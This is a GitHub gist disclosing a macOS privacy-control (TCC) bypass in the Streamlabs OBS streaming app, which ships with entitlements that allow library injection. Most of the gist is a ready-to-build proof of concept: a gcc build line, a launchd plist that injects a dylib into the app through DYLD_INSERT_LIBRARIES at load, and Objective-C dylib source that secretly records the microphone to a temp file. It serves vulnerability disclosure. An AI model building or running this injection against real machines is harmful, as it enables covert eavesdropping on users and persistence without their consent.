Skip to content

Instantly share code, notes, and snippets.

@theevilbit
Last active August 3, 2021 22:14
Show Gist options
  • Star 8 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save theevilbit/50eeb4a7f333c5de44a4a6d3de41228f to your computer and use it in GitHub Desktop.
Save theevilbit/50eeb4a7f333c5de44a4a6d3de41228f to your computer and use it in GitHub Desktop.
[StreamLabs OBS macOS TCC bypass]

StreamLabs OBS macOS TCC bypass

The Streamlabs macOS thick client does have hardened runtime enabled, but specifically allows DYLD environment variables and also disables library validation, which kills the purpose of hardened runtime. Having these settings on the executable enables an attacker to inject custom DYLIB libraries into the application. This would allow an attacker to access data inside the app, and possibly gain persistence on a machine, beyond that, as StreamLabs has access to the microphone and camera a user would gain access to that once exploited.

We can see the wrong permissions with running the codesign utility:

csaby@bigsur ~ % codesign -dv --entitlements :- /Applications/Streamlabs\ OBS.app 
Executable=/Applications/Streamlabs OBS.app/Contents/MacOS/Streamlabs OBS
Identifier=com.streamlabs.slobs
Format=app bundle with Mach-O thin (x86_64)
CodeDirectory v=20500 size=1760 flags=0x10000(runtime) hashes=46+5 location=embedded
Signature size=9059
Timestamp=2020. Dec 9. 11:29:20
Info.plist entries=30
TeamIdentifier=UT675MBB9Q
Runtime Version=10.15.0
Sealed Resources version=2 rules=13 files=1108
Internal requirements count=1 size=180
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
  <dict>
    <key>com.apple.security.cs.allow-unsigned-executable-memory</key>
    <true/>
    <key>com.apple.security.device.audio-input</key>
    <true/>
    <key>com.apple.security.device.camera</key>
    <true/>
    <key>com.apple.security.cs.allow-dyld-environment-variables</key>
    <true/>
    <key>com.apple.security.cs.disable-library-validation</key>
    <true/>
  </dict>
</plist>%                                                                                                                   ```
gcc -dynamiclib -framework Foundation -framework AVFoundation obstcc.m -o /tmp/obstcc.dylib
launchctl load obs-inject.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>org.test.obs</string>
<key>EnvironmentVariables</key>
<dict>
<key>DYLD_INSERT_LIBRARIES</key>
<string>/tmp/obstcc.dylib</string>
</dict>
<key>ProgramArguments</key>
<array>
<string>/Applications/Streamlabs OBS.app/Contents/MacOS/Streamlabs OBS</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>
#include <stdio.h>
#include <syslog.h>
#import <AVFoundation/AVFoundation.h>
//based on: https://conference.hitb.org/hitbsecconf2017ams/materials/D2T1%20-%20Patrick%20Wardle%20-%20Oversight%20-%20Exposing%20Spies%20on%20MacOS.pdf
//class interface declaration
@interface AudioSnap : NSObject <AVCaptureFileOutputRecordingDelegate>
@property (strong, nonatomic) AVCaptureAudioFileOutput *audioFileOutput;
@property (strong, nonatomic) AVCaptureSession *session;
-(void)record;
@end
//class implementation
@implementation AudioSnap
-(void)record {
//grab default device
AVCaptureDevice* device = [AVCaptureDevice defaultDeviceWithMediaType:AVMediaTypeAudio];
//init session and output file obj
self.session = [[AVCaptureSession alloc] init];
//init audio input
AVCaptureDeviceInput *input = [AVCaptureDeviceInput deviceInputWithDevice:device error:nil];
//init audio output
self.audioFileOutput = [[AVCaptureAudioFileOutput alloc] init];
//add input and output to session
[self.session addInput:input];
[self.session addOutput:self.audioFileOutput];
//do the capture
[self.session startRunning];
[self.audioFileOutput startRecordingToOutputFileURL: [NSURL fileURLWithPath:@"/tmp/obs.m4a"] outputFileType:AVFileTypeAppleM4A recordingDelegate:self];
//stop recoding after 15 seconds
[NSTimer scheduledTimerWithTimeInterval:15 target:self selector:@selector(stopRecording:) userInfo:nil repeats:NO];
}
-(void)stopRecording:(int)sigNum {
//stop recording
[self.audioFileOutput stopRecording];
}
-(void)captureOutput:(AVCaptureFileOutput *)captureOutput
didFinishRecordingToOutputFileAtURL:(NSURL *)outputFileURL
fromConnections:(NSArray *)connections
error:(NSError *)error {
//stop session & exit
[self.session stopRunning];
exit(0);
}
@end
__attribute__((constructor))
static void myconstructor(int argc, const char **argv) {
printf("[+] dylib constructor called from %s\n", argv[0]);
//alloc/start recording
AudioSnap* as = [[AudioSnap alloc] init];
[as record];
[[NSRunLoop currentRunLoop] run];
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment